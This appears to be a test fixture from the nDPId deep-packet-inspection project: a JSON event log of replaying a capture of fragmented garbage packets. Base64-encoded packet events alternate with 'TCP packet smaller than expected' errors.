-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867046} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867059} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867072} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867084} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867099} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867112} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867122} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867136} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867148} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867161} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867176} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867205} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867217} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867232} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867245} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867258} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867271} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867285} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867298} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867311} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867325} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867338} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867351} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867365} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867377} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867390} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867419} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867432} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867445} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867459} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867472} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867484} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867497} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867510} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867522} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867537} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867550} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867564} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867577} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867601} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867624} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867637} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867650} 